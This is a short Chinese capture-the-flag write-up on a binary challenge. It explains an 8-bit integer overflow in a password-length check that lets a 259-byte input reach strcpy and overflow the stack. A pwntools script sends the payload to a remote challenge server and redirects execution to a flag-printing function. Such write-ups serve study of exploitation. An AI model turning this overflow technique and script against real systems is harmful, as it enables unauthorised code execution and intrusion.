拖进ida,在check函数处发现了栈溢出,s的值复制到dest,如果s的值够长,就能造出栈溢出。在检测s的长度之后,我们可以看到程序把s放到一个al寄存器中,al是一个八位寄存器,我们知道,八位寄存器对于无符号整数来说是有0~255的范围的。
要想利用到strcpy这一步,要么你输入的passwd长度>3 && <=8,要么使passwd的长度过长,而v3最大可以存的长度为255,所以直接在v3处造成整数溢出进入else,整数溢出需要255,返回地址需要4字节,所以passwd长度达到259即可。
程序中存在system,flag,可以将返回地址指向what_is_this()
脚本:
#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',48748)
flag=0x0804868B
payload='a'*24+p32(flag)
payload=payload.ljust(259,'a')
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Please input your username:\n")
p.sendline("yoona")
p.recvuntil("Please input your passwd:\n")
p.sendline(payload)
p.interactive()